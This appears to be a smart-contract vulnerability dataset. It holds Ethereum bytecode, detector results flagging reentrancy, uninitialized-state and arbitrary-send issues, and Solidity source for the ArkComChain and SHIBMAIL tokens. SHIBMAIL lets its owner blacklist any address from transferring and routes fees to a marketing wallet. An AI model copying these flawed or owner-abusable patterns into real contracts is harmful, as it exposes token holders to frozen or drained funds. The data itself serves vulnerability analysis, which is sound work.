73ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546138d090919063ffffffff16565b600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506134e185600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461391a90919063ffffffff16565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061352d816139a2565b6135378483613b47565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040518082815260200191505060405180910390a3505050505050505050565b600e54600c81905550600f54600d81905550565b6000806000600a5490506000683635c9adc5dea00000905060005b60098054905081101561381d578260026000600984815481106135f557fe5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205411806136dc575081600360006009848154811061367457fe5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054115b156136fa57600a54683635c9adc5dea0000094509450505050613864565b613783600260006009848154811061370e57fe5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054846138d090919063ffffffff16565b925061380e600360006009848154811061379957fe5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054836138d090919063ffffffff16565b915080806001019150506135d6565b5061383c683635c9adc5dea00000600a5461285290919063ffffffff16565b82101561385b57600a54683635c9adc5dea00000935093505050613864565b81819350935050505b9091565b60008060008060008060008060006138858a600c54600d54613b81565b9250925092506000613895612af3565b905060008060006138a88e878787613c17565b9250925092508282828989899c509c509c509c509c509c505050505050505091939550919395565b600061391283836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f7700008152506122a3565b905092915050565b600080828401905083811015613998576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601b8152602001807f536166654d6174683a206164646974696f6e206f766572666c6f77000000000081525060200191505060405180910390fd5b8091505092915050565b60006139ac612af3565b905060006139c382846127cc90919063ffffffff16565b9050613a1781600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461391a90919063ffffffff16565b600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550600660003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615613b4257613afe83600360003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461391a90919063ffffffff16565b600360003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b505050565b613b5c82600a546138d090919063ffffffff16565b600a81905550613b7781600b5461391a90919063ffffffff16565b600b819055505050565b600080600080613bad6064613b9f888a6127cc90919063ffffffff16565b61285290919063ffffffff16565b90506000613bd76064613bc9888b6127cc90919063ffffffff16565b61285290919063ffffffff16565b90506000613c0082613bf2858c6138d090919063ffffffff16565b6138d090919063ffffffff16565b905080838395509550955050505093509350939050565b600080600080613c3085896127cc90919063ffffffff16565b90506000613c4786896127cc90919063ffffffff16565b90506000613c5e87896127cc90919063ffffffff16565b90506000613c8782613c7985876138d090919063ffffffff16565b6138d090919063ffffffff16565b905083818496509650965050505050945094509491505056fe45524332303a207472616e7366657220746f20746865207a65726f2061646472657373416d6f756e74206d757374206265206c657373207468616e20746f74616c207265666c656374696f6e7345524332303a20617070726f766520746f20746865207a65726f2061646472657373536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f7745524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e63655472616e7366657220616d6f756e74206d7573742062652067726561746572207468616e207a65726f45524332303a207472616e736665722066726f6d20746865207a65726f206164647265737345524332303a20617070726f76652066726f6d20746865207a65726f2061646472657373a2646970667358221220542932cd8917e7daad172c1b8d85d09ad25541a6e42e8b954c7af4cc4ecc017264736f6c634300060c0033
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "uninitialized-state", "impact": "High", "confidence": "High"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}}
10,401
0xfe79bced18113a5aac1fbda3cb2bc5653f2c1347
pragma solidity ^0.4.24; /** * @title SafeMath * @dev Math operations with safety checks that throw on error */ library SafeMath { /** * @dev Multiplies two numbers, throws on overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256 c) { // Gas optimization: this is cheaper than asserting 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-solidity/pull/522 if (a == 0) { return 0; } c = a * b; assert(c / a == b); return c; } /** * @dev Integer division of two numbers, truncating the quotient. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { // assert(b > 0); // Solidity automatically throws when dividing by 0 // uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return a / b; } /** * @dev Subtracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend). */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { assert(b <= a); return a - b; } /** * @dev Adds two numbers, throws on overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256 c) { c = a + b; assert(c >= a); return c; } } /** * @title ERC20Basic * @dev Simpler version of ERC20 interface * See https://github.com/ethereum/EIPs/issues/179 */ contract ERC20Basic { function totalSupply() public view returns (uint256); function balanceOf(address who) public view returns (uint256); function transfer(address to, uint256 value) public returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); } /** * @title ERC20 interface * @dev see https://github.com/ethereum/EIPs/issues/20 */ contract ERC20 is ERC20Basic { function allowance(address owner, address spender) public view returns (uint256); function transferFrom(address from, address to, uint256 value) public returns (bool); function approve(address spender, uint256 value) public returns (bool); event Approval( address indexed owner, address indexed spender, uint256 value ); } /** * @title Basic token * @dev Basic version of StandardToken, with no allowances. */ contract BasicToken is ERC20Basic { using SafeMath for uint256; mapping(address => uint256) balances; uint256 totalSupply_; /** * @dev Total number of tokens in existence */ function totalSupply() public view returns (uint256) { return totalSupply_; } /** * @dev Transfer token for a specified address * @param _to The address to transfer to. * @param _value The amount to be transferred. */ function transfer(address _to, uint256 _value) public returns (bool) { require(_to != address(0)); require(_value <= balances[msg.sender]); balances[msg.sender] = balances[msg.sender].sub(_value); balances[_to] = balances[_to].add(_value); emit Transfer(msg.sender, _to, _value); return true; } /** * @dev Gets the balance of the specified address. * @param _owner The address to query the the balance of. * @return An uint256 representing the amount owned by the passed address. */ function balanceOf(address _owner) public view returns (uint256) { return balances[_owner]; } } /** * @title Standard ERC20 token * * @dev Implementation of the basic standard token. * https://github.com/ethereum/EIPs/issues/20 * Based on code by FirstBlood: https://github.com/Firstbloodio/token/blob/master/smart_contract/FirstBloodToken.sol */ contract StandardToken is ERC20, BasicToken { mapping (address => mapping (address => uint256)) internal allowed; /** * @dev Transfer tokens from one address to another * @param _from address The address which you want to send tokens from * @param _to address The address which you want to transfer to * @param _value uint256 the amount of tokens to be transferred */ function transferFrom( address _from, address _to, uint256 _value ) public returns (bool) { require(_to != address(0)); require(_value <= balances[_from]); require(_value <= allowed[_from][msg.sender]); balances[_from] = balances[_from].sub(_value); balances[_to] = balances[_to].add(_value); allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value); emit Transfer(_from, _to, _value); return true; } /** * @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender. * Beware that changing an allowance with this method brings the risk that someone may use both the old * and the new allowance by unfortunate transaction ordering. One possible solution to mitigate this * race condition is to first reduce the spender's allowance to 0 and set the desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * @param _spender The address which will spend the funds. * @param _value The amount of tokens to be spent. */ function approve(address _spender, uint256 _value) public returns (bool) { allowed[msg.sender][_spender] = _value; emit Approval(msg.sender, _spender, _value); return true; } /** * @dev Function to check the amount of tokens that an owner allowed to a spender. * @param _owner address The address which owns the funds. * @param _spender address The address which will spend the funds. * @return A uint256 specifying the amount of tokens still available for the spender. */ function allowance( address _owner, address _spender ) public view returns (uint256) { return allowed[_owner][_spender]; } /** * @dev Increase the amount of tokens that an owner allowed to a spender. * approve should be called when allowed[_spender] == 0. To increment * allowed value is better to use this function to avoid 2 calls (and wait until * the first transaction is mined) * From MonolithDAO Token.sol * @param _spender The address which will spend the funds. * @param _addedValue The amount of tokens to increase the allowance by. */ function increaseApproval( address _spender, uint256 _addedValue ) public returns (bool) { allowed[msg.sender][_spender] = ( allowed[msg.sender][_spender].add(_addedValue)); emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } /** * @dev Decrease the amount of tokens that an owner allowed to a spender. * approve should be called when allowed[_spender] == 0. To decrement * allowed value is better to use this function to avoid 2 calls (and wait until * the first transaction is mined) * From MonolithDAO Token.sol * @param _spender The address which will spend the funds. * @param _subtractedValue The amount of tokens to decrease the allowance by. */ function decreaseApproval( address _spender, uint256 _subtractedValue ) public returns (bool) { uint256 oldValue = allowed[msg.sender][_spender]; if (_subtractedValue > oldValue) { allowed[msg.sender][_spender] = 0; } else { allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue); } emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } } /** * @title arkcomchain * @dev Very simple ERC20 Token example, where all tokens are pre-assigned to the creator. * Note they can later distribute these tokens as they wish using `transfer` and other * `StandardToken` functions. */ contract ArkComChain is StandardToken { string public constant name = "arkcomchain"; // solium-disable-line uppercase string public constant symbol ="AKC"; // solium-disable-line uppercase uint8 public constant decimals = 18; // solium-disable-line uppercase uint256 public constant INITIAL_SUPPLY = 50000000000 * (10 ** uint256(decimals)); /** * @dev Constructor that gives msg.sender all of existing tokens. */ constructor() public { totalSupply_ = INITIAL_SUPPLY; balances[msg.sender] = INITIAL_SUPPLY; emit Transfer(address(0), msg.sender, INITIAL_SUPPLY); } }
0x6080604052600436106100b95763ffffffff7c010000000000000000000000000000000000000000000000000000000060003504166306fdde0381146100be578063095ea7b31461014857806318160ddd1461018057806323b872dd146101a75780632ff2e9dc146101d1578063313ce567146101e6578063661884631461021157806370a082311461023557806395d89b4114610256578063a9059cbb1461026b578063d73dd6231461028f578063dd62ed3e146102b3575b600080fd5b3480156100ca57600080fd5b506100d36102da565b6040805160208082528351818301528351919283929083019185019080838360005b8381101561010d5781810151838201526020016100f5565b50505050905090810190601f16801561013a5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34801561015457600080fd5b5061016c600160a060020a0360043516602435610311565b604080519115158252519081900360200190f35b34801561018c57600080fd5b50610195610377565b60408051918252519081900360200190f35b3480156101b357600080fd5b5061016c600160a060020a036004358116906024351660443561037d565b3480156101dd57600080fd5b506101956104f4565b3480156101f257600080fd5b506101fb610504565b6040805160ff9092168252519081900360200190f35b34801561021d57600080fd5b5061016c600160a060020a0360043516602435610509565b34801561024157600080fd5b50610195600160a060020a03600435166105f9565b34801561026257600080fd5b506100d3610614565b34801561027757600080fd5b5061016c600160a060020a036004351660243561064b565b34801561029b57600080fd5b5061016c600160a060020a036004351660243561072c565b3480156102bf57600080fd5b50610195600160a060020a03600435811690602435166107c5565b60408051808201909152600b81527f61726b636f6d636861696e000000000000000000000000000000000000000000602082015281565b336000818152600260209081526040808320600160a060020a038716808552908352818420869055815186815291519394909390927f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925928290030190a350600192915050565b60015490565b6000600160a060020a038316151561039457600080fd5b600160a060020a0384166000908152602081905260409020548211156103b957600080fd5b600160a060020a03841660009081526002602090815260408083203384529091529020548211156103e957600080fd5b600160a060020a038416600090815260208190526040902054610412908363ffffffff6107f016565b600160a060020a038086166000908152602081905260408082209390935590851681522054610447908363ffffffff61080216565b600160a060020a03808516600090815260208181526040808320949094559187168152600282528281203382529091522054610489908363ffffffff6107f016565b600160a060020a03808616600081815260026020908152604080832033845282529182902094909455805186815290519287169391927fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef929181900390910190a35060019392505050565b6ba18f07d736b90be55000000081565b601281565b336000908152600260209081526040808320600160a060020a03861684529091528120548083111561055e57336000908152600260209081526040808320600160a060020a0388168452909152812055610593565b61056e818463ffffffff6107f016565b336000908152600260209081526040808320600160a060020a03891684529091529020555b336000818152600260209081526040808320600160a060020a0389168085529083529281902054815190815290519293927f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925929181900390910190a35060019392505050565b600160a060020a031660009081526020819052604090205490565b60408051808201909152600381527f414b430000000000000000000000000000000000000000000000000000000000602082015281565b6000600160a060020a038316151561066257600080fd5b3360009081526020819052604090205482111561067e57600080fd5b3360009081526020819052604090205461069e908363ffffffff6107f016565b3360009081526020819052604080822092909255600160a060020a038516815220546106d0908363ffffffff61080216565b600160a060020a038416600081815260208181526040918290209390935580518581529051919233927fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9281900390910190a350600192915050565b336000908152600260209081526040808320600160a060020a0386168452909152812054610760908363ffffffff61080216565b336000818152600260209081526040808320600160a060020a0389168085529083529281902085905580519485525191937f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925929081900390910190a350600192915050565b600160a060020a03918216600090815260026020908152604080832093909416825291909152205490565b6000828211156107fc57fe5b50900390565b8181018281101561080f57fe5b929150505600a165627a7a72305820caeecd9b2d5c844b3fbfd7a80ddf0580f2c49b8cac45e9a6461a4288ceb4ac750029
{"success": true, "error": null, "results": {}}
10,402
0x4a2110d2a77895c11f0d3d66e032614c08a3ad4f
/** *Submitted for verification at Etherscan.io on 2022-04-06 */ // SPDX-License-Identifier: Unlicensed /* Telegram: https://t.me/shibmail Website: https://shibmail.services/ */ pragma solidity ^0.8.4; abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom( address sender, address recipient, uint256 amount ) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval( address indexed owner, address indexed spender, uint256 value ); } contract Ownable is Context { address private _owner; address private _previousOwner; event OwnershipTransferred( address indexed previousOwner, address indexed newOwner ); constructor() { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } } interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair); } interface IUniswapV2Router02 { function swapExactTokensForETHSupportingFeeOnTransferTokens( uint256 amountIn, uint256 amountOutMin, address[] calldata path, address to, uint256 deadline ) external; function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidityETH( address token, uint256 amountTokenDesired, uint256 amountTokenMin, uint256 amountETHMin, address to, uint256 deadline ) external payable returns ( uint256 amountToken, uint256 amountETH, uint256 liquidity ); } contract SHIBMAIL is Context, IERC20, Ownable { using SafeMath for uint256; string private constant _name = "SHIBMAIL"; string private constant _symbol = "SHIBMAIL"; uint8 private constant _decimals = 9; mapping(address => uint256) private _rOwned; mapping(address => uint256) private _tOwned; mapping (address => uint256) private _buyMap; mapping(address => mapping(address => uint256)) private _allowances; mapping(address => bool) private _isExcludedFromFee; uint256 private constant MAX = ~uint256(0); uint256 private constant _tTotal = 1e12 * 10**9; uint256 private _rTotal = (MAX - (MAX % _tTotal)); uint256 private _tFeeTotal; mapping(address => bool) private _isSniper; uint256 public launchTime; uint256 private _redisFeeJeets = 3; uint256 private _taxFeeJeets = 8; uint256 private _redisFeeOnBuy = 3; uint256 private _taxFeeOnBuy = 8; uint256 private _redisFeeOnSell = 3; uint256 private _taxFeeOnSell = 8; uint256 private _redisFee = _redisFeeOnSell; uint256 private _taxFee = _taxFeeOnSell; uint256 private _burnFee = 0; uint256 private _previousredisFee = _redisFee; uint256 private _previoustaxFee = _taxFee; uint256 private _previousburnFee = _burnFee; address payable private _marketingAddress = payable(0xe216d29fef0F88216a54D1819506D5bEBD0002dC); address public constant deadAddress = 0x000000000000000000000000000000000000dEaD; uint256 public timeJeets = 2 minutes; IUniswapV2Router02 public uniswapV2Router; address public uniswapV2Pair; bool private tradingOpen; bool private inSwap = false; bool private swapEnabled = true; bool private isMaxBuyActivated = true; uint256 public _maxTxAmount = 1e10 * 10**9; uint256 public _maxWalletSize = 1e10 * 10**9; uint256 public _swapTokensAtAmount = 1000 * 10**9; uint256 public _minimumBuyAmount = 1e10 * 10**9 ; event MaxTxAmountUpdated(uint256 _maxTxAmount); modifier lockTheSwap { inSwap = true; _; inSwap = false; } constructor() { _rOwned[_msgSender()] = _rTotal; _isExcludedFromFee[owner()] = true; _isExcludedFromFee[address(this)] = true; _isExcludedFromFee[_marketingAddress] = true; _isExcludedFromFee[deadAddress] = true; emit Transfer(address(0), _msgSender(), _tTotal); } function name() public pure returns (string memory) { return _name; } function symbol() public pure returns (string memory) { return _symbol; } function decimals() public pure returns (uint8) { return _decimals; } function totalSupply() public pure override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { return tokenFromReflection(_rOwned[account]); } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom( address sender, address recipient, uint256 amount ) public override returns (bool) { _transfer(sender, recipient, amount); _approve( sender, _msgSender(), _allowances[sender][_msgSender()].sub( amount, "ERC20: transfer amount exceeds allowance" ) ); return true; } function tokenFromReflection(uint256 rAmount) private view returns (uint256) { require( rAmount <= _rTotal, "Amount must be less than total reflections" ); uint256 currentRate = _getRate(); return rAmount.div(currentRate); } function removeAllFee() private { if (_redisFee == 0 && _taxFee == 0 && _burnFee == 0) return; _previousredisFee = _redisFee; _previoustaxFee = _taxFee; _previousburnFee = _burnFee; _redisFee = 0; _taxFee = 0; _burnFee = 0; } function restoreAllFee() private { _redisFee = _previousredisFee; _taxFee = _previoustaxFee; _burnFee = _previousburnFee; } function _approve( address owner, address spender, uint256 amount ) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer( address from, address to, uint256 amount ) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); require(!_isSniper[to]); require(!_isSniper[from]); require(!_isSniper[_msgSender()]); if (from != owner() && to != owner()) { if (!tradingOpen) { revert("Trading not yet enabled!"); } if (to == uniswapV2Pair && from != address(uniswapV2Router)) { if (to != address(this) && from != address(this) && to != _marketingAddress && from != _marketingAddress) { require(amount <= _maxTxAmount, "TOKEN: Max Transaction Limit"); } } if (to != uniswapV2Pair && to != _marketingAddress && to != address(this) && to != deadAddress) { require(balanceOf(to) + amount < _maxWalletSize, "TOKEN: Balance exceeds wallet size!"); if (isMaxBuyActivated) { if (block.timestamp <= launchTime + 2 minutes) { require(amount <= _minimumBuyAmount, "Amount too much"); } } } uint256 contractTokenBalance = balanceOf(address(this)); bool canSwap = contractTokenBalance > _swapTokensAtAmount; if (canSwap && !inSwap && from != uniswapV2Pair && swapEnabled && !_isExcludedFromFee[from] && !_isExcludedFromFee[to]) { uint256 burntAmount = 0; if (_burnFee > 0) { burntAmount = contractTokenBalance.mul(_burnFee).div(10**2); burnTokens(burntAmount); } swapTokensForEth(contractTokenBalance - burntAmount); uint256 contractETHBalance = address(this).balance; if (contractETHBalance > 0) { sendETHToFee(address(this).balance); } } } bool takeFee = true; if ((_isExcludedFromFee[from] || _isExcludedFromFee[to]) || (from != uniswapV2Pair && to != uniswapV2Pair)) { takeFee = false; } else { if(from == uniswapV2Pair && to != address(uniswapV2Router)) { _buyMap[to] = block.timestamp; _redisFee = _redisFeeOnBuy; _taxFee = _taxFeeOnBuy; if (block.timestamp == launchTime) { _isSniper[to] = true; } } if (to == uniswapV2Pair && from != address(uniswapV2Router)) { if (_buyMap[from] != 0 && (_buyMap[from] + timeJeets >= block.timestamp)) { _redisFee = _redisFeeJeets; _taxFee = _taxFeeJeets; } else { _redisFee = _redisFeeOnSell; _taxFee = _taxFeeOnSell; } } } _tokenTransfer(from, to, amount, takeFee); } function burnTokens(uint256 burntAmount) private { _transfer(address(this), deadAddress, burntAmount); } function startContract() external onlyOwner(){ IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); uniswapV2Router = _uniswapV2Router; uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()) .createPair(address(this), _uniswapV2Router.WETH()); } function swapTokensForEth(uint256 tokenAmount) private lockTheSwap { address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, address(this), block.timestamp ); } function sendETHToFee(uint256 amount) private { _marketingAddress.transfer(amount); } function setTrading() public onlyOwner { require(!tradingOpen); tradingOpen = true; launchTime = block.timestamp; } function setMarketingWallet(address marketingAddress) external { require(_msgSender() == _marketingAddress); _marketingAddress = payable(marketingAddress); _isExcludedFromFee[_marketingAddress] = true; } function setIsMaxBuyActivated(bool _isMaxBuyActivated) public onlyOwner { isMaxBuyActivated = _isMaxBuyActivated; } function manualswap(uint256 amount) external { require(_msgSender() == _marketingAddress); require(amount <= balanceOf(address(this)) && amount > 0, "Wrong amount"); swapTokensForEth(amount); } function addSniper(address[] memory snipers) external onlyOwner { for(uint256 i= 0; i< snipers.length; i++){ _isSniper[snipers[i]] = true; } } function removeSniper(address sniper) external onlyOwner { if (_isSniper[sniper]) { _isSniper[sniper] = false; } } function isSniper(address sniper) external view returns (bool){ return _isSniper[sniper]; } function manualsend() external { require(_msgSender() == _marketingAddress); uint256 contractETHBalance = address(this).balance; sendETHToFee(contractETHBalance); } function _tokenTransfer( address sender, address recipient, uint256 amount, bool takeFee ) private { if (!takeFee) removeAllFee(); _transferStandard(sender, recipient, amount); if (!takeFee) restoreAllFee(); } function _transferStandard( address sender, address recipient, uint256 tAmount ) private { ( uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam ) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeTeam(tTeam); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _takeTeam(uint256 tTeam) private { uint256 currentRate = _getRate(); uint256 rTeam = tTeam.mul(currentRate); _rOwned[address(this)] = _rOwned[address(this)].add(rTeam); } function _reflectFee(uint256 rFee, uint256 tFee) private { _rTotal = _rTotal.sub(rFee); _tFeeTotal = _tFeeTotal.add(tFee); } receive() external payable {} function _getValues(uint256 tAmount) private view returns ( uint256, uint256, uint256, uint256, uint256, uint256 ) { (uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _redisFee, _taxFee); uint256 currentRate = _getRate(); (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate); return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam); } function _getTValues( uint256 tAmount, uint256 redisFee, uint256 taxFee ) private pure returns ( uint256, uint256, uint256 ) { uint256 tFee = tAmount.mul(redisFee).div(100); uint256 tTeam = tAmount.mul(taxFee).div(100); uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam); return (tTransferAmount, tFee, tTeam); } function _getRValues( uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate ) private pure returns ( uint256, uint256, uint256 ) { uint256 rAmount = tAmount.mul(currentRate); uint256 rFee = tFee.mul(currentRate); uint256 rTeam = tTeam.mul(currentRate); uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam); return (rAmount, rTransferAmount, rFee); } function _getRate() private view returns (uint256) { (uint256 rSupply, uint256 tSupply) = _getCurrentSupply(); return rSupply.div(tSupply); } function _getCurrentSupply() private view returns (uint256, uint256) { uint256 rSupply = _rTotal; uint256 tSupply = _tTotal; if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal); return (rSupply, tSupply); } function toggleSwap(bool _swapEnabled) public onlyOwner { swapEnabled = _swapEnabled; } function setMaxTxnAmount(uint256 maxTxAmount) external onlyOwner { require(maxTxAmount >= 5e6 * 10**9); _maxTxAmount = maxTxAmount; } function setMaxWalletSize(uint256 maxWalletSize) external onlyOwner { require(maxWalletSize >= _maxWalletSize); _maxWalletSize = maxWalletSize; } function setTaxFee(uint256 amountBuy, uint256 amountSell) external onlyOwner { require(amountBuy >= 0 && amountBuy <= 13); require(amountSell >= 0 && amountSell <= 13); _taxFeeOnBuy = amountBuy; _taxFeeOnSell = amountSell; } function setRefFee(uint256 amountRefBuy, uint256 amountRefSell) external onlyOwner { require(amountRefBuy >= 0 && amountRefBuy <= 1); require(amountRefSell >= 0 && amountRefSell <= 1); _redisFeeOnBuy = amountRefBuy; _redisFeeOnSell = amountRefSell; } function setBurnFee(uint256 amount) external onlyOwner { require(amount >= 0 && amount <= 1); _burnFee = amount; } function setJeetsFee(uint256 amountRedisJeets, uint256 amountTaxJeets) external onlyOwner { require(amountRedisJeets >= 0 && amountRedisJeets <= 1); require(amountTaxJeets >= 0 && amountTaxJeets <= 19); _redisFeeJeets = amountRedisJeets; _taxFeeJeets = amountTaxJeets; } function setTimeJeets(uint256 hoursTime) external onlyOwner { require(hoursTime >= 0 && hoursTime <= 4); timeJeets = hoursTime * 1 hours; } }
0x6080604052600436106102295760003560e01c806370a082311161012357806395d89b41116100ab578063dd62ed3e1161006f578063dd62ed3e14610630578063e0f9f6a014610676578063ea1644d514610696578063f2fde38b146106b6578063fe72c3c1146106d657600080fd5b806395d89b41146102355780639ec350ed146105b05780639f131571146105d0578063a9059cbb146105f0578063c55284901461061057600080fd5b80637c519ffb116100f25780637c519ffb146105315780637d1db4a514610546578063881dce601461055c5780638da5cb5b1461057c5780638f9a55c01461059a57600080fd5b806370a08231146104c6578063715018a6146104e657806374010ece146104fb578063790ca4131461051b57600080fd5b8063313ce567116101b15780635d098b38116101755780635d098b38146104465780635fb02f4d146104665780636b9cf5341461047b5780636d8aa8f8146104915780636fc3eaec146104b157600080fd5b8063313ce567146103aa57806333251a0b146103c657806338eea22d146103e657806349bd5a5e146104065780634bf2c7c91461042657600080fd5b806318160ddd116101f857806318160ddd1461031657806323b872dd1461033c57806327c8f8351461035c57806328bb665a146103725780632fd689e31461039457600080fd5b806306fdde0314610235578063095ea7b3146102755780630f3a325f146102a55780631694505e146102de57600080fd5b3661023057005b600080fd5b34801561024157600080fd5b50604080518082018252600881526714d212509350525360c21b6020820152905161026c9190612158565b60405180910390f35b34801561028157600080fd5b50610295610290366004612003565b6106ec565b604051901515815260200161026c565b3480156102b157600080fd5b506102956102c0366004611f4f565b6001600160a01b031660009081526009602052604090205460ff1690565b3480156102ea57600080fd5b506019546102fe906001600160a01b031681565b6040516001600160a01b03909116815260200161026c565b34801561032257600080fd5b50683635c9adc5dea000005b60405190815260200161026c565b34801561034857600080fd5b50610295610357366004611fc2565b610703565b34801561036857600080fd5b506102fe61dead81565b34801561037e57600080fd5b5061039261038d36600461202f565b61076c565b005b3480156103a057600080fd5b5061032e601d5481565b3480156103b657600080fd5b506040516009815260200161026c565b3480156103d257600080fd5b506103926103e1366004611f4f565b61080b565b3480156103f257600080fd5b50610392610401366004612136565b61087a565b34801561041257600080fd5b50601a546102fe906001600160a01b031681565b34801561043257600080fd5b5061039261044136600461211d565b6108cb565b34801561045257600080fd5b50610392610461366004611f4f565b610908565b34801561047257600080fd5